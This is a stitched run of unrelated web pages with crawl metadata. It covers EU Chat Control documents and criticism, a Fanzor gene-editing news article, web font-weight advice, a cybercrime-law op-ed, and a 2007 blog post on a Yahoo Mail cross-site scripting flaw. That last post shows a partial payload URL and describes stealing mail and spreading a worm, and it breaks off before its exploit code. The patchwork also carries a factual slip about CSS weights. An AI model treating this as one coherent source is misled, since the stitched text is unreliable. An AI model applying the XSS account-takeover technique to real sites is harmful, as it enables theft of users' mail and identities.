(27 September 2022) - Public consultations by Commission (closed 12 September 2022), see also this analysis of responses - Non-paper Balancing children’s rights with user rights (16 May 2022) - Second Opinion of Regulatory Scrutiny Board (28 March 2022) - Opinion of Regulatory Scrutiny Board (15 February 2022) - Quality Checklist for Regulatory Scrutiny Board (6 November 2021) #### European Parliament - Negotiating mandate (14 November 2023) - Amendments 277 – 544 (30 May 2023) - Amendments 545 – 953 (30 May 2023) - Amendments 954 – 1332 (30 May 2023) - Amendments 1333 – 1718 (30 May 2023) - Amendments 1719 – 1909 (30 May 2023) - Draft Report of Rapporteur (25 April 2023) - Complementary Impact Assessment by the European Parliament Research Service EPRS (April 2023) - Presentation of findings: Targeted substitute impact assessment on Commission Proposal (25 January 2023) - Briefing: Commission proposal on preventing and combating child sexual abuse: The Commission’s engagement with stakeholders (15 November 2023) #### Council of the European Union (Council) - Council documents (continuously updated) - Reports on meetings of the Law Enforcement Working Party (continuously updated, in German) - Compromise proposal / draft legislation by Council Presidency (7 October 2024, 13726/24 REV 1) - Updated full-text compromise proposal / draft legislation by Council Presidency (24 September, 13726/24) - Meeting COREPER (23 September 2024) (German cable) - Full-text compromise proposal/draft legislation by Council Presidency (9 September, 12406/24) - Compromise idea by Council Presidency (29 August, ST 12319/2024 INIT) - Explanatory note of Council Presidency (14 June, WK 8634/2024 INIT) - Compromise proposal of Council Presidency (14 June, ST-11277/24) - Progress report note Council (ST-10666-2024-INIT) (7 June 2024) - Meeting Council Law Enforcement Working Party (4 June 2024) (German) - Compromise proposal of Council Presidency (28 May 2024, ST-9093-2024-INIT) - Meeting Council Law Enforcement Working Party (24 May 2024) (German) - Presentation of Council Presidency (WK 6697/2024 INIT) (8 May 2024) - Meeting Council Law Enforcement Working Party (8 May 2024) (German) - Meeting Council Law Enforcement Working Party (15 April 2024) (German) - Updated risk evaluation criteria (WK 3036/2024 Rev. 2) (10 April 2024) - Compromise proposal of Council Presidency (9 April 2024, ST-8579-2024-INIT) - Meeting Council Law Enforcement Working Party (3 April 2024) - Compromise proposal of Council Presidency (27 March 2024, ST-8019-2024-INIT) with updated risk evaluation criteria (WK 3036/2024 Rev. 1) - Meeting Council Law Enforcement Working Party (19 March 2024) - Compromise proposal of Council Presidency (13 March 2024, ST-7462-2024-INIT) - Meeting Council Law Enforcement Working Party (1 March 2024) (German) - Presentation of Council Presidency (1 March 2024, WK 3413/2024 INIT) - Risk evaluation proposal of Council Presidency (26 February 2024, WK 3036/2024 INIT) - Compromise proposal of Council Presidency (22 February 2024, ST-6850-2024-INIT) - Meeting Council Law Enforcement Working Party (6 December 2023) *(German)* - Meeting Council Law Enforcement Working Party (4 December 2023) *(German)* - COREPER 2 meeting (18 October 2023) *(German)* - COREPER 2 meeting (13 October 2023) *(German)* - Meeting Council Law Enforcement Working Party (17 September 2023) - Compromise text Council Law Enforcement Working Party (8 September 2023) - Meeting Council Law Enforcement Working Party (14 September 2023) - Public meeting of Justice and Home Affairs Council with Statements of the Swedish Presidency and Commissioner Ylva Johnnson (08 June 2023) - Meeting Coreper I (31 May 2023) *(German)* - Compromise text Council Law Enforcement Working Party (25-26 May 2023) - Common position of the like-minded group (LMG) of Member States (27 April 2023) - Opinion Council Legal Service (26 April 2023) - Compromise text Council Law Enforcement Working Party (25 April 2023) - Member State Positions on Encryption (12 April 2023) - Member State Positions on Articles 12-15 (12 April 2023) - Meeting Council Law Enforcement Working Party (29 March 2023) - Meeting Council Law Enforcement Working Party (16 March 2023) - Compromise text Council Law Enforcement Working Party (16 March 2023) - Meeting Council Law Enforcement Working Party (Police) (19/20 January 2023) - Meeting Council Law Enforcement Working Party (Police) (24 November 2022) - Meeting Council Law Enforcement Working Party (3 November 2022) - Compromise text Council Law Enforcement Working Party (Art. 1-2, 25-39) (22 September 2022) - Meeting Council Law Enforcement Working Party (20 July 2022) - Compromise text Council Law Enforcement Working Party (20 July 2022) #### Statements and Assessments - Statement of the European Data Protection Board (13 February 2024) - Legal opinion of former ECJ judge Christopher Vajda KC (19 October 2023) - Opinion Council Legal Service (26 April 2023) - Summary of Statement by the Child Protection Association (Der Kinderschutzbund Bundesverband e.V.) on the Public Hearing of the Digital Affairs Committee on “Chat Control” - Summary of Statement by the Federal Commissioner for Data Protection and Freedom of Information on the public hearing of the Committee on Digital Affairs of the German Bundestagon the topic of “Chat Control” (1 March 2023) - Summary of Statement Public Prosecutor’s Office, Central and Contact Point Cybercrime (ZAC) on the public hearing of the Digital Affairs Committee of the German Bundestag on “Chat Control” (1 March 2023) - EPRS Briefing - Legal Opinion by German Bundestag Research Service - Opinion by European Economic and Social Committee (13 September 2022) - EDPB-EDPS Joint Opinion 4/2022 (28 July 2022) - Opinion by the former ECJ Judge Christopher Vajda KC (19 October 2022) ## Document pool on voluntary Chat Control 1.0 - Amendments (January 2024) - Draft report on extending voluntary chat control (January 2024) - Report by the Commission to the European Parliament and the Council on the implementation of the ePrivacy derogation on voluntary chat control (January 2024) - 2021 reporting on voluntary chat control by Meta, Twitter and Google - Leaked opinion of the Commission sets off alarm bells for mass surveillance of private communications (23 March 2022) - Answer by the Commission in reply to a cross-party letter against mandatory chat control (9 March 2022) - Voluntary chat control Regulation - Legal Opinion by German Bundestag Research Service (4 August 2021) - Answers by Europol on statistics regarding the prosecution of child sexual abuse material online (28 April 2021) - Legal Opinion on the Compatibility of Chatcontrol with the case law of the ECJ (March 2021) - Impact Assessment by the European Parliamentary Research Service (5 February 2021) - Answers given by the Commission to questions of the Members of Parliament (27 October 2020) - Answers given by the Commission to questions of the Members of Parliament (28 September 2020) - Technical solutions to screen end to end encrypted communications (September 2020) ## Critical commentary and further reading **Office of the High Commissioner for Human Rights**: “Report on the right to privacy in the digital age” (4 August 2022) “Governments seeking to limit encryption have often failed to show that the restrictions they would impose are necessary to meet a particular legitimate interest, given the availability of various other tools and approaches that provide the information needed for specific law enforcement or other legitimate purposes. Such alternative measures include improved, better-resourced traditional policing, undercover operations, metadata analysis and strengthened international police cooperation.” **UN Committee on the Rights of the Child**, General comment No. 25 (2021): “Any digital surveillance of children, together with any associated automated processing of personal data, should respect the child’s right to privacy and should not be conducted routinely, indiscriminately or without the child’s knowledge…” **Prostasia Foundation:**“How the War against Child Abuse Material was lost” (19 August 2020)**European Digital Rights (EDRi)**: “Is surveilling children really protecting them? Our concerns on the interim CSAM regulation” (24 September 2020)**Civil Society Organizations**: “Open Letter: Civil society views on defending privacy while preventing criminal acts” (27 Oktober 2020) “we suggest that the Commission prioritise this non-technical work, and more rapid take-down of offending websites, over client-side filtering […]” **European Data Protection Supervisor**: “Opinion on the proposal for temporary derogations from Directive 2002/58/EC for the purpose of combatting child sexual abuse online” (10 November 2020) “Due to the absence of an impact assessment accompanying the Proposal, the Commission has yet to demonstrate that the measures envisaged by the Proposal are strictly necessary, effective and proportionate for achieving their intended objective.” **Alexander Hanff**(victim of child abuse and privacy professional): “Why I don’t support privacy invasive measures to tackle child abuse.” (11 November 2020) “As an abuse survivor, I (and millions of other survivors across the world) rely on confidential communications to both find support and report the crimes against us – to remove our rights to privacy and confidentiality is to subject us to further injury and frankly, we have suffered enough. […] it doesn’t matter what steps we take to find abusers, it doesn’t matter how many freedoms or constitutional rights we destroy in order to meet that agenda – it WILL NOT stop children from being abused, it will simply push the abuse further underground, make it more and more difficult to detect and ultimately lead to more children being abused as the end result.” **Irish victim of child sexual abuse**(5 June 2022): “Using the veil of morality and the guise of protecting the most vulnerable and beloved in our societies to introduce this potential monster of an initiative is despicable.” **German victim of child sexual abuse**(25 May 2022): “Especially being a victim of sexual abuse, it is important to me that trusted communication is possible, e.g. in self-help groups and with therapists. If encryption is undermined, this also weakens the possibilities for those affected by sexual abuse to seek help.” **French victim of child sexual abuse**(23 May 2022): “Having been a victim of sexual violence myself as a child, I am convinced that the only way to move forward on this issue is through education. Generalized surveillance of communications will not help children to stop suffering from this unacceptable violence.” **AccessNow**: “The fundamental rights concerns at the heart of new EU online content rules” (19 November 2020) “In practice this means that they would put private companies in charge of a matter that public authorities should handle” **Federal Bar Association (BRAK)**(in German): “Stellungnahme zur Übergangsverordnung gegen Kindesmissbrauch im Internet” (24 November 2020) „the assessment of child abuse-related facts is part of the legal profession’s area of responsibility. Accordingly, the communication exchanged between lawyers and clients will often contain relevant keywords. […] According to the Commission’s proposals, it is to be feared that in all of the aforementioned constellations there will regularly be a breach of confidentiality due to the unavoidable use of relevant terms.” **Alexander Hanff**(Victim of Child Abuse and Privacy Activist): “EU Parliament are about to pass a derogation which will result in the total surveillance of over 500M Europeans” (4 Dezember 2020) “I didn’t have confidential communications tools when I was raped; all my communications were monitored by my abusers – there was nothing I could do, there was no confidence. […] I can’t help but wonder how much different my life would have been had I had access to these modern technologies. [The planned vote on the e-Privacy Derogation] will drive abuse underground making it far more difficult to detect; it will inhibit support groups from being able to help abuse victims – IT WILL DESTROY LIVES.” **German Data Protection Supervisor**(in German): „BfDI kritisiert versäumte Umsetzung von EU Richtlinie“ (17 Dezember 2020) “A blanket and unprovoked monitoring of digital communication channels is neither proportionate nor necessary to detect online child abuse. The fight against sexualised violence against children must be tackled with targeted and specific measures. The investigative work is the task of the law enforcement authorities and must not be outsourced to private operators of messenger services.” **European Digital Rights (EDRi): Wiretapping children’s private communications: Four sets of fundamental rights problems for children (and everyone else)**(10 February 2021) “As with other types of content scanning (whether on platforms like YouTube or in private communications) scanning everything from everyone all the time creates huge risks of leading to mass surveillance by failing the necessity and proportionality test. Furthermore, it creates a slippery slope where we start scanning for less harmful cases (copyright) and then we move on to harder issues (child sexual abuse, terrorism) and before you realise what happened scanning everything all the time becomes the new normal.” **German Bar Association (DAV):**“Indiscriminate communications scanning is disproportionate” (9 March 2021) “The DAV is explicitly in favour of combating the preparation and commission of child sexual abuse and its dissemination via the internet through effective measures at EU-level. However, the Interim Regulation proposed by the Commission would allow blatantly disproportionate infringements on the fundamental rights of users of internet-based communication services. Furthermore, the proposed Interim Regulation lacks sufficient procedural safeguards for those affected. This is why the legislative proposal should be rejected as a whole.” **Letter from the President of the German Bar Association (DAV) and the President of the Federal Bar Association (BRAK)**(in German) (8 March 2021) “Positive hits with subsequent disclosure to governmental and non-governmental agencies would be feared not only by accused persons but above all by victims of child sexual abuse. In this context, the absolute confidentiality of legal counselling is indispensable in the interest of the victims, especially in these matters which are often fraught with shame. In these cases in particular, the client must retain the authority to decide which contents of the mandate may be disclosed to whom. Otherwise, it is to be feared that victims of child sexual abuse will not seek legal advice.” **Strategic autonomy in danger: European Tech companies warn of lowering data protection levels in the EU**(15 April 2021) “In the course of the initiative “Fighting child sexual abuse: detection, removal, and reporting of illegal content”, the European Union plans to abolish the digital privacy of correspondence. In order to automatically detect illegal content, all private chat messages are to be screened in the future. This should also apply to content that has so far been protected with strong end-to-end encryption. If this initiative is implemented according to the current plan it would enormously damage our European ideals and the indisputable foundations of our democracy, namely freedom of expression and the protection of privacy […]. The initiative would also severely harm Europe’s strategic autonomy and thus EU-based companies. **Article in “Welt.de: Crime scanners on every smartphone – EU plans major surveillance attack“**(in German) (4 November 2021) Experts from the police and academia are rather critical of the EU’s plan: on the one hand, they fear many false reports by the scanners, and on the other hand, an alibi function of the law. Daniel Kretzschmar, spokesman for the Federal Board of the Association of German Criminal Investigators, says that the fight against child abuse depictions is “enormously important” to his association. Nevertheless, he is skeptical: unsuspected persons could easily become the focus of investigations. At the same time, he says, privatizing these initiative investigations means “making law enforcement dependent on these companies, which is actually a state and sovereign task. “ Thomas-Gabriel Rüdiger, head of the Institute for Cybercriminology at the Brandenburg Police University, is also rather critical of the EU project. “In the end, it will probably mainly hit minors again,” he told WELT. Rüdiger refers to figures from the crime statistics, according to which 43 percent of the recorded crimes in the area of child pornographic content would be traced back to children and adolescents themselves. This is the case, for example, with so-called “sexting” and “schoolyard pornography “, when 13- and 14-year-olds send each other lewd pictures. Real perpetrators, who you actually want to catch, would probably rather not be caught. “They are aware of what they have done and use alternatives. Presumably, USB sticks and other data carriers will then be increasingly used again,” Rüdiger continues. **European Digital Rights (EDRi)**:**Chat control: 10 principles to defend children in the digital age**(9 February 2022) “In accordance with EU fundamental rights law, the surveillance or interception of private communications or their metadata for detecting, investigating or prosecuting online CSAM must be limited to genuine suspects against whom there is reasonable suspicion, must be duly justified and specifically warranted, and must follow national and EU rules on policing, due process, good administration, non-discrimination and fundamental rights safeguards.” **European Digital Rights (EDRi)**: Leaked opinion of the Commission sets off alarm bells for mass surveillance of private communications (23 March 2022) In the run-up to the official proposal later this year, we urge all European Commissioners to remember their responsibilities to human rights, and to ensure that a proposal which threatens the very core of people’s right to privacy, and the cornerstone of democratic society, is not put forward. **Council of European Professional Informatics Societies (CEPIS): Europe has a right to secure communication and effective encryption**(March 2022) “In the view of our experts, academics and IT professionals, all efforts to intercept and extensively monitor chat communication via client site scanning has a tremendous negative impact on the IT security of millions of European internet users and businesses. Therefore, a European right to secure communication and effective encryption for all must become a standard.”

🇫🇷 French: Traduction du dossier Chat Control 2.0 🇸🇪 Swedish: Chat Control 2.0🇳🇱 Dutch: Chatcontrole The End of the Privacy of Digital Correspondence Take action to stop Chat Control now! The Chat Control 2.0 proposal in detail Changes proposed by the European Parliament

2024-10-12 00:00:00

2024-09-12 00:00:00

article

patrick-breyer.de

Patrick Breyer

https://medium.com/@foundercollective/how-we-measure-alignment-7eb67bbcc3e6

http://www.theywontcome.com/post/37192856026/turn-to-microbiology-for-your-twitter-strategy

https://www.youtube.com/watch?v=2ethDz9KnLk

https://www.livescience.com/health/genetics/meet-fanzor-the-1st-crispr-like-system-found-in-complex-life

Meet 'Fanzor,' the 1st CRISPR-like system found in complex life

Amanda Heidt

# Meet 'Fanzor,' the 1st CRISPR-like system found in complex life Scientists discovered Fanzor proteins, which work like CRISPR but are smaller and more easily delivered into cells, and used them to edit human DNA. Researchers have identified a new gene-editing system similar to CRISPR in complex organisms, demonstrating for the first time that DNA-modifying proteins exist across all kingdoms of life. __Feng Zhang__, a biochemist at the Broad Institute of MIT and Harvard and the McGovern Institute for Brain Research at MIT, led the team and previously co-discovered the gene-editing potential of the __CRISPR-Cas9 system__, which functions as a kind of "molecular scissors" that remove sections of DNA, thus disabling genes or allowing new ones to be swapped in. Prior to this discovery, such systems had only been found in simple organisms such as bacteria and archaea, which wield them as a sort of rudimentary immune system for chopping up the DNA of invaders. Researchers detected the newfound system, called Fanzor, in fungi, algae, amoebas and a species of clam, vastly broadening the groups known to use these genetic tools. "People have been saying with such certainty for so long that __eukaryotes__ [organisms whose complex cells contain nuclei] couldn't have a similar system," said __Ethan Bier__, a geneticist at the University of California San Diego, who uses gene editing in his work but was not involved in the study. "But it's typical cleverness from the Zhang lab, proving them wrong," Bier told Live Science. **Related: ****CRISPR-edited fat shrank tumors in mice. Someday, it could work in people, scientists say.** After publishing their __first paper__ on CRISPR in 2013, Zhang and colleagues began studying how these systems evolve. During this work, the group identified a __class of proteins in bacteria called OMEGAs__, thought to be early ancestors of Cas9 proteins, the "scissors" of the CRISPR system. They began to suspect that Fanzor proteins, a type of OMEGA, could also be modifying DNA. The group screened online databases for the proteins and were surprised to find several in samples isolated from fungi, __protists__, arthropods, plants and __giant viruses__. The thinking, Zhang said, is that the genes needed to make Fanzor proteins got shuffled from bacteria into complex organisms through a process known as horizontal gene transfer. Genes that encode for Fanzor proteins were integrated into the genomes of eukaryotic organisms within transposable elements, meaning bits of DNA that can move about the genome and replicate themselves. ## Sign up for the Live Science daily newsletter now Get the world’s most fascinating discoveries delivered straight to your inbox. In experiments, the researchers found that Fanzor proteins share some similarities with CRISPR. Fanzor proteins also interact with guide RNA, a molecule that guides the proteins to the DNA destined to be cut. This molecule, called an omegaRNA, complements the strand of target DNA. When they match up, the two pieces zip together and Fanzor can then cut the DNA. The team tested the Fanzor system in human cells but at first found that it was relatively inefficient at adding or removing bits of DNA, completing the process successfully about 12% of the time. After some creative engineering to enhance and stabilize the system, however, the researchers bumped the efficiency up to just over 18%. This inefficiency isn't surprising, according to Bier, nor a sign that Fanzor isn't as good as CRISPR. Scientists have engineered CRISPR so that it can make the desired substitutions almost every time, but "it certainly didn’t start out that way," he said. But Bier added it will be hard for Fanzor to match Cas9, which he called "the most adaptable and forgiving protein for the types of things you want to do to it." Fanzor will instead likely complement CRISPR, which has been used both in research and in experimental medical treatments for conditions like __blindness__ and __cancer__. Compared with CRISPR, "the Fanzor systems are more compact and therefore have the potential to be more easily delivered to cells and tissues," Zhang said, and they're less prone to accidentally degrading nearby RNA or DNA — __so-called off-target or collateral effects__. This makes Fanzor attractive for use in __gene therapy__. Zhang told Live Science he's now excited to go looking for similar systems in new places. "This work really underscores the power of studying biodiversity," Zhang said. "There are likely more RNA-guided systems out there in nature that hold future promise for gene editing." Amanda Heidt is a Utah-based freelance journalist and editor with an omnivorous appetite for anything science, from ecology and biotech to health and history. Her work has appeared in Nature, Science and National Geographic, among other publications, and she was previously an associate editor at The Scientist. Amanda currently serves on the board for the National Association of Science Writers and graduated from Moss Landing Marine Laboratories with a master's degree in marine science and from the University of California, Santa Cruz, with a master's degree in science communication.

Scientists discovered Fanzor proteins, which work like CRISPR but are smaller and more easily delivered into cells, and used them to edit human DNA.

2024-10-12 00:00:00

2023-06-30 00:00:00

article

livescience.com

Live Science

https://gsuiteupdates.googleblog.com/2019/08/lexend-fonts-editors.html

New fonts intended to help improve reading speed now available in Google Docs, Sheets, and Slides

Google

## New fonts intended to help improve reading speed now available in Google Docs, Sheets, and Slides Tuesday, August 13, 2019 In the Google Cloud Community, connect with Googlers and other Google Workspace admins like yourself. Participate in product discussions, check out the Community Articles, and learn tips and tricks that will make your work and life easier. Be the first to know what's happening with Google Workspace. ______________ On the “What’s new in Google Workspace?” Help Center page, learn about new products and features launching in Google Workspace, including smaller changes that haven’t been announced on the Google Workspace Updates blog. ______________

Quick launch summary The Google Fonts team has teamed up with Thomas Jockin to create a series of fonts that are aimed at improving reading...

2024-10-12 00:00:00

2019-08-13 00:00:00

article

googleblog.com

Google Workspace Updates

http://elliotjaystocks.com/blog/font-weight-in-the-age-of-web-fonts/

Elliot Jay Stocks | Font-weight in the age of web fonts

Elliot Jay Stocks

# Font-weight in the age of web fonts If you’ve seen me speak at a conference recently, or we’ve chatting about the web whilst sharing a pint, you might have noticed a pattern emerging whenever I talk about web fonts: as keen as I am to celebrate them as the coming of true typographic nirvana, I’ve become increasingly careful to document their shortcomings, too. As I’m saying at all of my talks this year, *with great power comes great responsibility*. So it is that my attention has been caught by the humble CSS property `font-weight` . When we only had to worry about core system fonts and their meagre weight variations of ‘normal’ and ‘bold’, the `font-weight` definition was barely worthy of consideration. But now that we have decent web font support in our browsers and fantastic services such as * Typekit*, * Fontdeck*, et al adorning our sites us with a multitude of beautiful typefaces, the once-simple property requires some more thorough consideration. Because so many professional quality web fonts come in a variety of weights, it now makes much more sense to use the numerical scale than it did when we only had to deal with ‘normal’ (400) and ‘bold’ (600). Typically, a family’s weights can be mapped to these values: **100:** Ultra Light**200:** Thin**300:** Light**400:** Regular**500:** Semi Bold**600:** Bold**700:** Extra Bold**800:** Heavy**900:** Ultra Heavy Note the keyword, there: *typically.* The reality, sadly, is that many fonts just don’t conform to this pattern, like when a family has a multitude of weights, or where their own definitions don’t necessarily conform to the standard scale. So that’s problem number one. #### The bigger issue Problem number two is significantly bigger than the first. Consider _ FF Enzo_, which doesn’t have a 400 (or even 500) weight. In some circumstances, its Light (300) weight might perhaps be a little too thin for small body type, so let’s use the 600 weight instead. Ah, that looks okay. But it’s *not* okay! Because if that font can’t be displayed and we fallback to something else, that fallback font will render at its 600 weight; in other words: bold. There’s a fair amount we can get away with when we resign ourselves to fallback plans, but all-bold body text is about as desirable as Comic Sans on a gravestone. Plus, even if we have a typeface whose ‘regular’ weight is mapped to 400, if the typeface itself happens to be unusually light or heavy, then we still have the same problem: using lighter or heavier numerical values to adapt will result in incorrect fallback weights. Maybe that’s fine if we’re talking about display sizes, but not with body type. #### A workaround? There’s a way around this and it’s the method *FontsLive* use in the CSS they generate for their users: you declare each weight individually rather than the entire family. Their code looks a bit like this: ``` { font-family: 'FamilyName Light', 'FallbackFamily', serif; font-weight: normal; } { font-family: 'FamilyName Medium, 'FallbackFamily', serif; font-weight: normal; } { font-family: 'FamilyName Bold', 'FallbackFamily', serif; font-weight: bold; } { font-family: 'FamilyName Black', 'FallbackFamily', serif; font-weight: bold; } ``` That works well, in that you can neatly map the more extreme weights (light, thin, heavy, etc.) into the *good-for-fallback* classifications of ‘normal’ and ‘bold’. The downside, as Rich Rutter noted back at the beginning of 2009, is that you have to declare every weight individually and you don’t get to make use of the numerical weight values built directly into CSS. *Fontdeck* take a similar approach to *FontsLive* and specify each weight in the font-family declaration, but rather than group each one into either ‘normal’ or ‘bold’, they also include the correct 100 – 900 values. Recently, *Typekit* improved support for font-weight in IE6, 7, and 8 by allowing the designer to add additional family declarations to their stylesheets if they want to support multiple weights in IE. This is good news for those on IE, although it’s worth noting that the workaround is effectively the same as declaring each weight as a font-family, as in the *FontsLive* and *Fontdeck* examples above. #### Better weight declarations The long and short of it is this: the best approach has yet to be found. All of the current methods are solutions, but — like many things in the world of web design — only for certain scenarios. What we need is consistency… but who is responsible for the inconsistency in the first place? Not web designers or font delivery services. Some might suggest browser vendors, who have the power to introduce new CSS features. Others might suggest the type foundries themselves, but should they be forced to pigeonhole a typeface’s weights to fit such a limited scale? The numerical system we use for font-weight in CSS is taken from the TrueType / OpenType system that in itself appears to have been derived from the *Linotype* numbering system of nine steps, which differs slightly from the ten-step version designed by Adrian Frutiger. However, neither system is robust enough to describe the fourteen weights documented by Jon Tan. Is it time to create a new system that can be used by CSS? At this point, I would usually attempt to offer a conclusion. What I want to do instead is open it up the floor: I’d love to hear suggestions from those who are passionate about web typography: web designers, web developers, type foundries, font delivery networks. What is the answer? And if there isn’t one, how do we collectively go about making one?

Elliot Jay Stocks is a designer & author, usually doing something with typography, or making music as Other Form

2024-10-12 00:00:00

2011-07-07 00:00:00

website

elliotjaystocks.com

Elliotjaystocks

https://gitlab.freedesktop.org/slirp/libslirp

slirp / libslirp · GitLab

Due to an influx of spam, we have had to impose restrictions on new accounts. Please see this wiki page for instructions on how to get full permissions. Sorry for the inconvenience.

A general purpose TCP-IP emulator used by virtual machine hypervisors to provide virtual networking services.

2024-10-12 00:00:00

2019-03-25 00:00:00

object

freedesktop.org

GitLab

http://www.informationsecuritybuzz.com/security-community-needs-effective-targeted-cybercrime-laws/

The Need For Effective, Targeted Cybercrime Laws

ISBuzz Team

Let me tell you about Dave*. We met a while back and would chat whenever we happened to run into each other. That is, until one day I mentioned a cyber security event for high school students that I was planning called 1NTERRUPT. His eyes lit up, after which the conversation steered towards the technical details. I was astonished by how clearly he knew his stuff. Finally, I stopped and said, “I thought you were a painter. How do you know all this?” He smiled, and said, “Yeah, about that…” Turns out that by his teens, Dave was a knowledgeable coder who couldn’t resist a challenge. Even today when I mention the thrill of trying to outwit a skilled adversary or solve a difficult problem, you can see that fire in his eyes re-ignite. Unfortunately, at one point, he could not pass up the challenge of trying to crack a federal database. He spent three days and nights barely sleeping until he finally got in. Eventually he was caught and subsequently banned from working with computers. Now in his 30s, he has finally been permitted to work as a coder; he writes mobile apps, but he is permanently banned from federal employment. Dave should have been punished for his transgressions, but I still believe our cybercrime laws sometimes go too far. In any situation, a law should do three things: it should be written using a solid comprehension of the issue it is meant to address; it should be narrowly focused to reduce the risk of abuse; and it should be applied consistently and fairly. I would argue that current cybercrime laws like the Computer Fraud and Abuse Act (CFAA) meet none of those criteria. Furthermore, I would assert that these laws serve the unintended consequence of aiding the cybercriminal groups from whom we need protection by driving away the people whose help we desperately need. Allow me to cite an example. Back in May, an article published in The Guardian detailed a number of incidents where the CFAA was used to threaten legitimate researchers to the point where some now have started walking away from the research field altogether. How are we supposed to mount an effective defense when the law can’t distinguish between defense and offense? How are we supposed to recruit future defenders when kids read about the tragic case of Aaron Swartz and see major corporations like Oracle fighting against pragmatic reform of the CFAA? Here’s my prediction for the future if no changes are made to the CFAA and if new laws of its ilk (CISPA/CISA in the US, DRIP in the UK, etc.) are passed: kids who are still willing to learn about cyber security in accordance of those laws will have a substandard skill level, which puts our defense at a disadvantage. Kids like Dave, whose tenacity and complex problem-solving skills are of the utmost value in defeating complex threats, will still find ways to satisfy their curiosity, activities which may or may not be legal. Unless we can find ways to help them channel that curiosity in safe, positive ways, we run the risk of putting more kids through the legal ringer and casting them out, or worse, turning them against us. I would like to see communities establish/support hacker spaces and create cyber defense events where kids can learn and experiment with these techniques without having to worry about running afoul of the law. This was one of my motivations for creating 1NTERRUPT. I also believe it is on us in the security community to help educate the public, as well as help policy makers understand the value of creating effective, targeted cybercrime laws. (Please see my blog post regarding my proposals on reform of the CFAA.) Until then, the more legitimate researchers are persecuted, the more Daves of the world have no options to safely advance their skills. Sadly, in this world, our cybercrime laws would not only aid the criminals; it would make new criminals out of our defenders. * Dave is not my subject’s real name, and I’ve changed some identifying details so as not to expose this person’s identity. By **Marc Blackmer**, Founder, 1NTERRUPT **Bio: **Marc Blackmer is the founder of 1NTERRUPT, a community-based, high school-level cyber defense event focused on furthering STEM education and community-based economic development by building relationships among local higher education, businesses, and industry professionals. Marc also has a global role with Cisco Systems where he is a public speaker, briefs customer executives on cyber security, and advocates for securing critical infrastructure and the Internet of Things. Marc has held various roles in the information technology industry since 1998, and calls Worcester, Massachusetts, home. **The opinions expressed in this post belongs to the individual contributors and do not necessarily reflect the views of Information Security Buzz. **

Marc Blackmer discusses the need for targeted, effective cybercrime laws that allow kids to safely and legally hone their skills in cybersecurity.

2024-10-12 00:00:00

2014-07-29 00:00:00

article

informationsecuritybuzz.com

Information Security Buzz

http://headphono.us/2011/01/16/the-resume-is-not-dead/

http://netcooties.blogspot.com/2007/06/yahoo-endangers-users-do-web-sites-care.html

Yahoo defect endangers users -- do web sites care?

Rarely Greys

- Critical cross-site scripting (XSS) defect in Yahoo services is discovered - Proof of concept of exploit is included - XSS bugs are on the rise because of web 2.0+ - The web industry is mostly negligent about dealing with XSS XSS Defects "I used to act dumb. That act is no longer cute." This is what the re-jailed Paris Hilton said to Barbara Walters from behind penis-painted bars last Sunday. And with these words, Paris demonstrated that she is smarter and has more class than the web sites you have come to rely on every day. This doesn'’t say much about Paris, but it says a hell of a lot about the billion-dollar companies that safeguard your data and identity. Who else should be putting an end to the dumb act? How about Yahoo, the number one provider of email in the universe, with over 250 million users worldwide? Every day, hundreds of defects known as "cross-site scripting," or XSS for short, are discovered on web sites every day. (This is not even counting all those that don’t get disclosed.) And the peanut butter eating yahoos in Yahoo’s development organization are not immune to coding up such so-called XSS bugs. "Cross-site scripting" is the top security risk facing the web today. The biggest danger is that so few web sites actually care enough to guard against it; and those that do care like the big internet companies, e.g. Yahoo, Google, AOL, often make mistakes. And a single mistake can be devastating to vast numbers of users. XSS Demonstration at Yahoo! Mail Allow me to demonstrate how dangerous XSS can be. Let’s imagine you’re checking your Yahoo Mail and you see an interesting email, maybe one from a friend of yours or one that peddles medication for the enlargement of your ears. Inside the email is contained an innocuous-looking link that looks like a Yahoo search page, something like http://search.yahoo.com/web/advanced?ei=UTF-8&p=%22%3E.... You click on it... Now why the hell did you do that? You are now screwed. That’s right: an attacker would now have complete access to your Yahoo account. All because you clicked on one link. This is not fantasy. The simple code to take over anyone's Yahoo account is included at the bottom fo this article. If you were to visit this naughty link, your web browser would show the last email in your inbox displayed on a web site that is not part of Yahoo. What the simple link does is allow a program to navigate through your email account pretending to be you and download emails onto the attacker’s web site, allowing them to read all your conversations with iheartsanjaya3 you met on myspace. But that’s not all that could happen. The attacking program could obtain your entire address-book, supplementing spammers'’ lucrative database of spam victims. And thanks to Yahoo’s recent integration of instant messaging within its web-mail site, it could also send instant messages to your friends impersonating you. ("You wanna do what to me?!") Many of your online accounts would then become vulnerable as well, since the attacker would have access to your password-resetting emails; this potentially means access to your financial accounts. All other Yahoo services that you use are also at risk, including Yahoo Photos or Flickr. Worst of all, the simple act of clicking that link could allow an attacker to automatically send emails or instant messages as you to all your contacts containing the very same link, thus rapidly spreading the attack through your social network in a devastating epidemic known in the industry as a "worm." Within hours, millions of users’ accounts could be compromised. Web Developer Ignorance and Web Company Complacency Given how painful a "cross-site scripting" attack can be, its acronym should have been "ASS" instead of "XSS". Yet the developers behind the web applications you use every day often do not know what they are or do not care. Why don’t web sites care enough? Because on the surface these vulnerabilities do not jeopardize the security of the entire company and such hacks are not as glamorous as high-profile break-ins where millions of social security numbers are stolen. But in reality, an XSS defect can be just as devastating to a site’s user base and extremely traumatic to any single user whose identity and privacy are violated. Web developers are not keeping up with the increasing risks. While awareness of the risks of XSS and other dangers such as "Cross-Site Request Forgery" (CSRF) is on the rise, there are still many key developers who have never heard of these errors. Blame lack of developer training. The fact is that no developer should be allowed to touch code for a web site without undergoing a thorough education in protecting users from XSS. But the current situation is that web companies assume that their developers are "smart" enough to guard against it. The reality is that this is not a question of smarts, but a question of education and code review process, which are lacking on the web today. There are a number of disturbing trends that are making the problem worse. The first is the constant push for the integration of many web services behind a single login. Because web conglomerates such as Yahoo and Google offer so many services under one roof, the chance that at any given time someone has left unlocked any of hundreds of doors has reached unacceptable levels. The online privacy and security of users hang precariously on a deck of cards. The second exacerbating trend is the world of "user-generated content" (UGC). In today’s web 2.0, users are often allowed to generate content for a web site that other users will see. It’s now very easy for hackers to find ways to implant malicious exploits in the pages of innocent viewers. Yet another trend is that applications are moving from the desktop to the web, as exemplified by Google Docs & Spreadsheets. Next steps Will the situation improve? It's up to the web companies to train their web developers and to institute processes to make sure that web application vulnerabilities like XSS and CSRF don't endanger their users. As for users, your online privacy and security are always at risk. At any given moment, you can lose both, through no fault of yours. Exploit Code An attack is frighteningly easy to carry out. - You find a hosting company to run your perl CGI script - You install the code listed below on your web 